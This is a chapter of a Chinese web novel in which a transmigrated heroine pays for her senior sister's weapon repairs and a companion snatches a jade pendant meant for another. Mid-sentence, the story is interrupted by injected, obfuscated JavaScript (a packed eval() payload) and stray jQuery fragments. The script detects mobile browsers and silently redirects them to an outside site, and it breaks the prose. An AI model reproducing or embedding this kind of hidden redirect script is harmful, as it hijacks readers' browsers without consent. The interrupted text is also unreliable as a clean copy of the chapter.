63.绣球花

作品:《穿书后和系统抢业绩

    然而,徐素当日发出的豪言壮语,很快就被现实击溃了。


    一行四人站在接取悬赏令的宫殿内,此处仍如上回来时那般,熙熙攘攘,人流如潮。


    但徐素的心境已完全不同。


    上回她担心师姐让出悬赏令,担心任务进展不顺利,也担心傅序会起疑。


    可现在,那些担忧都被解决了。


    她一扫先前即将见到师姐的忐忑、紧张,只剩一身怨气地盯着伸到她跟前的手,不情不愿地把自己的钱袋放到上面。


    自从那天她向师姐承诺,不管师姐怎么花钱,她眼睛都不会眨一下。


    师姐果真眼睛都不眨一下,就让她掏了路上四个人所有的食宿……


    这也就算了,毕竟只是食宿,商户再黑心也不能真把她宰得分文不剩。


    前几日大家商量好了,要来领悬赏令的奖励,顺便休整一下。


    于是……现在修缮法器的银两也是她出的!


    更过分的是,师姐还扯出一堆歪理,说什么她人是吃饱了,法器还饿着,这也应该算在吃食开销中。


    徐素第一回听到这种狗屁言论,却又的确找不到话来反驳。


    众所周知,不管是什么事情,只要与除魔挂钩,那价格就会翻个千倍万倍。


    钱袋在钧师仪的挥霍下,迅速瘪了下去。


    徐素眼巴巴地看着,期望能唤醒师姐一丝半毫的良知。


    不过显然她的目光并没有她想象中的有用……


    钧师仪大手一挥,豪横地把傅序的剑也扔上了锻铁台,略过法器损坏的秦砚,还要来拿徐素的伞。


    眼看着花在法器上的银两变为了三倍,徐素目眦欲裂。


    就连一向不在意银两的傅序都不太忍心了,他悄悄伸手,试图偷偷拿回自己的剑。


    却被钧师仪眼疾手快地摁住了,剑鞘与锻铁台猛地一撞,发出清亮的铁器声:“你干什么?”


    傅序投降般举起双手,怯怯道:“没……没什么,我就是看剑摆得不太正。”


    见傅序连一句话都没撑过,徐素恨铁不成钢地瞪他一眼,收到的却是钧师仪的问候:“素素,你的伞呢?也拿过来。”


    约莫是怕傅序又来偷剑,钧师仪母鸡护崽般把剑身压住,还伸出另一只手索要徐素的法器。


    不知道的,还以为她是什么收集别人法器的变态……


    徐素实在痛心自己的银两,只好讪讪笑道:“师姐……我家法器吃不得苦,不爱进锻铁台,品质次点就次点,我用着顺手就行……”


    钧师仪挑眉,眼中是毫不掩饰的怀疑:“当真?”


    “千真万确,”徐素言之凿凿,将伞拿出来托在手里,“不信你听它自己说。”


    往常听惯的嗡鸣声没有响起,只见伞一动不动地躺在手中,向来话多的法器此时鸦雀无声。


    ……气氛似乎有些僵硬。


    徐素嘴角抽动,忽地灵机一动,赶在钧师仪一锤定音之前,急忙解释道:“我的法器定然是被这锻铁台吓着了,连声都发不出来了……”


    话音未落,伞急眼般叫唤起来,还试图往钧师仪的方向蹦跶几下。


    徐素咬牙切齿地看着它,大脑飞速运转,思索着对策。


    但钧师仪早已看穿她的小算盘,手腕一翻,原本乖巧躺在锻铁台上的双刀飞向徐素手心。


    双刀架着徐素的伞,哥仨好的姿势到了锻铁台,齐齐躺在上面。


    徐素两眼含泪,从牙缝中挤出几个字:“多谢师姐。”


    随后她转身,想找个师姐看不到的角度教训一下,那胳膊肘往外拐的法器。


    谁知一转过来,鼻尖就擦着一块布料,徐素连忙后退,辨别来人。


    竟是秦砚,他怎么在她身后,刚刚不还在另外一边吗……


    徐素疑惑不已。


    秦砚才回过神来似的,低头看她,一脸讥诮:“这就是你的好师姐?”


    说着,他还毫不掩饰地看向钧师仪,很不友好的眼神。


    徐素也不知这两人是有什么梁子,一路上总是不对付。


    只好拽着秦砚的胳膊,生生拖他去了别的铺子:“哎呀……师姐就是爱开玩笑罢了,俗话说的好,工欲善其事必先利其器嘛,修缮法器也是应该的。”


    秦砚不知又说了句什么,二人吵闹着走远了。


    看着他们逐渐远去的背影,钧师仪收回看好戏的目光,轻笑了声。


    素素光顾着心疼自己的银子没注意到,她可是看得一清二楚。


    在她召出双刀去拿伞的瞬间,秦砚就闪身至素素身边,灵气在他周身炸开。


    好好的灵气被他一身煞气衬得,跟魔气似的。


    那架势,就好像她这个相处多年的师姐,会害死徐素一样。


    当日地牢之内,她刚被挖出来时,看到秦砚找徐素的模样,就觉得不太对劲了。


    钧师仪饶有趣味地敲了敲刀身,勾起嘴角。


    可她那傻不愣登的师妹,看上去是一点也不清楚秦砚的心思,甚至可能秦砚本人都不知道。


    那她也装不知道好了,秦砚成日里阴晴不定的,绝非良配,她可不想师妹受苦。


    不知过了多久,总之已经叮叮当当地修补完了钧师仪刀的缺口,又给傅序的剑附上了加强功法的咒术。


    在填补徐素伞面时,或许是和法器有隐隐的感应,徐素和秦砚回来了。


    徐素将一个以红绳系好的白玉坠子递给傅序:“给,当作是我拿走你剑穗的补偿。”


    她想了想,又补充道:“可别跟我再来推三阻四的那套啊,不然我以后再怎么好意思开口要东西。”


    “那便谢过素素了。”傅序从善如流。


    他正要伸手去接,却又一只手从侧面截胡了。


    那手先握住左右乱晃的红色流苏,然后往上,连同白玉珠子一同抓住,连摸都不让傅序摸的样子。


    “这坠子竟是送给他的?”秦砚打量着手里的东西,头也没抬地问道。


    徐素一头雾水,茫然点头:“是啊……之前我把他剑穗要走了,总得补一个吧。”


    红绳另一头圈在徐素食指上,秦砚稍稍用力,将坠子整个夺走了。


    “不能给他。”秦砚低声道,像是说给自己听的。


    徐素本就有做长老的可能,如今又要送这个破坠子给傅序。


    倘若傅序管不住自己的心思,对徐素有了什么非分之想……那感情线分配给徐素的可能性就更大了。


    不能让徐素给傅序,秦砚握紧了坠子。


    “为什么啊?”徐素凑到秦砚耳边,小声问他,“是跟任务有关系吗?”


    谁知秦砚像被那条坠子迷住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724893|168820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一般,沉默着,都没抬头看她一眼。


    不过她亲手挑的坠子当然好看了,会被迷住也是人之常情。


    徐素暂时放弃这个问题,尴尬地冲傅序笑了笑:“我下回再给你重新挑一个。”


    傅序眼神古怪地看了眼秦砚,又看了看她,任徐素如何劝说,都连连摇头说不要了。


    ……好吧,要是有谁把给她的礼物抢回去,她也不会再要了。


    只是这可全是秦砚的错啊,可别算到她头上了,徐素不住地祈祷。


    鸡飞狗跳的一段小插曲结束,一旁的钧师仪终于出声:“好了,法器都修缮完毕,我们去下一个地方吧。”


    话说得一本正经,可其中的憋笑意味就是聋子也能听出来了。


    徐素贴到钧师仪身旁,刨根问底:“师姐在高兴什么呢?”


    出乎意料的是,从前与她无话不谈的师姐,这回竟牵强地咳嗽几声,看着她,正色道:“秘密。”


    随后拿起自己的双刀就走了。


    头一回被师姐拒绝的徐素留在原地。


    今天莫名其妙的事情怎么这么多……她有些纳闷。


    眼看着钧师仪已出了殿门,徐素越想越不服气,追在后头继续问她。


    队伍一下子走了一半,傅序也赶紧跟了上去。


    秦砚将手中的剑坠勾在指尖荡了荡,最后还是放弃了毁掉它的想法,收了起来。


    徐素一路问钧师仪问得口干舌燥,可钧师仪压根不替她解答,只是意味深长地盯着她笑。


    笑得她毛骨悚然的,不禁开始怀疑钧师仪体内,是不是残留有斗隼或者丘子舟的魔气。


    她不禁这么怀疑,还这么问了。


    果不其然,得到了钧师仪的一顿暴打。


    钧师仪恶狠狠地将水袋塞到徐素怀里:“狗嘴里吐不出象牙,喝点水吧,堵堵你的嘴。”


    徐素当即抱起来大灌一口,清凉的水润过喉咙,终于稍微缓解了烈日下赶路的痛苦。


    解决了嘴巴的干渴,徐素总算有心思琢磨别的事了:“师姐,都走好半天了,我们这是要去哪儿啊?”


    傅序向来好说话,去哪都无所谓。


    秦砚则是跟着主角团就行了,完全不在乎目的地。


    唯一可能会在意的徐素,刚才也被钧师仪莫名其妙的笑容吸引了注意力。


    都走了这么久,才有人问目的地是哪……他们这个队伍也是有够奇怪的。


    钧师仪回头,眼神示意她看看周围:“都走到这了,你还不知道去哪儿?”


    徐素这才有心思环顾四周,郊外,没什么特色的小土路,没什么特色的树木,没什么特色的……绣球花!


    还是大片大片的绣球花。


    这里是……芜城附近?!


    徐素看了眼他们要去的方向,眼睛亮了起来:“这是去我家的路!”


    “你还不算太笨嘛,”钧师仪笑了起来,“我看你那钱袋的银子都花的差不多了,已经在想着找机会回家一趟了吧。”


    是啊,外面招待朋友哪有家里省钱啊。


    徐素忙不迭地点头,一下子窜到了队伍最前面带路。


    看来师姐体内魔气的确已经清理干净了,毕竟只有她知道,自己只有银子花完了才会回家……


    也只有师姐知道,自己有多想家。